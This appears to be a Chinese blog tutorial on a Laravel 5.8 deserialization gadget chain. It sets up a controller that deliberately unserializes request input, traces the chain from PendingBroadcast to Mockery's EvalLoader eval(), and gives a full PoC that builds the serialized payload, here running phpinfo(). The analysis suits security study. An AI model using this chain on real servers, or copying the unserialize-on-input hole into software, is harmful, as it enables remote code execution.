0x00 项目安装
使用composer部署Laravel项目,创建一个名为laravel的Laravel项目
composer create-project laravel/laravel=5.8.* --prefer-dist laravel58
Laravel框架入口文件为{安装目录}/public/index.php,使用apache部署后访问入口文件显示Laravel欢迎界面即安装成功。
或者使用命令php artisan serve开启临时的开发环境的服务器进行访问。
0x01 环境
环境:PHPstudy + vscode + PHP 7.3.4
0x02 源码分析
准备
首先得准备一个反序列化的入口,在 routes/web.php
里面加一条路由
Route::get('/unserialize',"UnserializeController@unspoc");
然后在 app/Http/controllers
中添加一个控制器
<?php
namespace App\Http\Controllers;
class UnserializeController extends Controller
{
public function unspoc(){
if(isset($_GET['c'])){
unserialize($_GET['c']);
}else{
highlight_file(__FILE__);
}
return "unspoc";
}
}
这样访问 http://url/public/index.php/unserialize
就可以进行反序列化了。
分析
漏洞的入口在 Illuminate\Broadcasting\PendingBroadcast
的 __destruct()
魔术方法处。
public function __destruct()
{
$this->events->dispatch($this->event);
}
然后定位到 Illuminate\Bus\Dispatcher
类的 dispatch
函数
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
先看看循环体中的那个函数 dispatchToQueue
,存在函数调用 call_user_func($this->queueResolver, $connection);
,先回去看看怎么控制循环条件进入该函数。
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
$this->queueResolver
是可控的可以满足条件,而 $this->commandShouldBeQueued($command)
则是判断参数 $command
是否是继承自接口 ShouldQueue
的类的实例化。
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
找一个继承接口 ShouldQueue
的类,如 Illuminate\Foundation\Console\QueuedCommand
,然后我们就可以调用任意类的任意函数了。Mockery\Loader\EvalLoader
类的 load
函数存在 eval()
函数执行命令,只要 $definition->getClassName()
与 $definition->getCode()
的返回结果可控就可以执行命令了。
namespace Mockery\Loader;
use Mockery\Generator\MockDefinition;
use Mockery\Loader\Loader;
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
在 Mockery\Generator\MockDefinition
类中的,getCode()
的返回值直接可控,而 getClassName()
的返回结果还要依赖于 $this->config->getName()
的返回值
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
在 PhpParser\Node\Scalar\MagicConst\Line
中的 getName()
的返回结果可以满足条件。
public function getName() : string {
return '__LINE__';
}
然后就可以构造POC链了
<?php
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct()
{
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct()
{
$this->queueResolver = array(new EvalLoader(), 'load');
}
}
}
namespace Illuminate\Foundation\Console {
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct()
{
$this->connection = new MockDefinition();
}
}
}
namespace Mockery\Loader {
class EvalLoader
{
}
}
namespace PhpParser\Node\Scalar\MagicConst {
class Line
{
}
}
namespace Mockery\Generator {
use PhpParser\Node\Scalar\MagicConst\Line;
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->config = new Line();
$this->code = '<?php phpinfo(); ?>';
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
由于在 Illuminate\Bus\Dispatcher
中在执行 call_user_func($this->queueResolver, $connection);
后,会判断返回值是否是继承 Illuminate\Contracts\Queue
接口的类的实例化对象,由于没有返回值,默认为null,所以就会在这抛出错误,但是在这之前命令已经执行了,无伤大雅。
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
0x03 小结
5.8的POP链构造比起5.7的要简单一点,但是涉及到的类也不少,分析和构造的时候容易搞混,继续努力吧!
0x04 参考资料
Laravel5.8.x反序列化POP链学习
Laravel5.8.x反序列化POP链
Laravel v5.8反序列化漏洞分析及EXP
Comments | NOTHING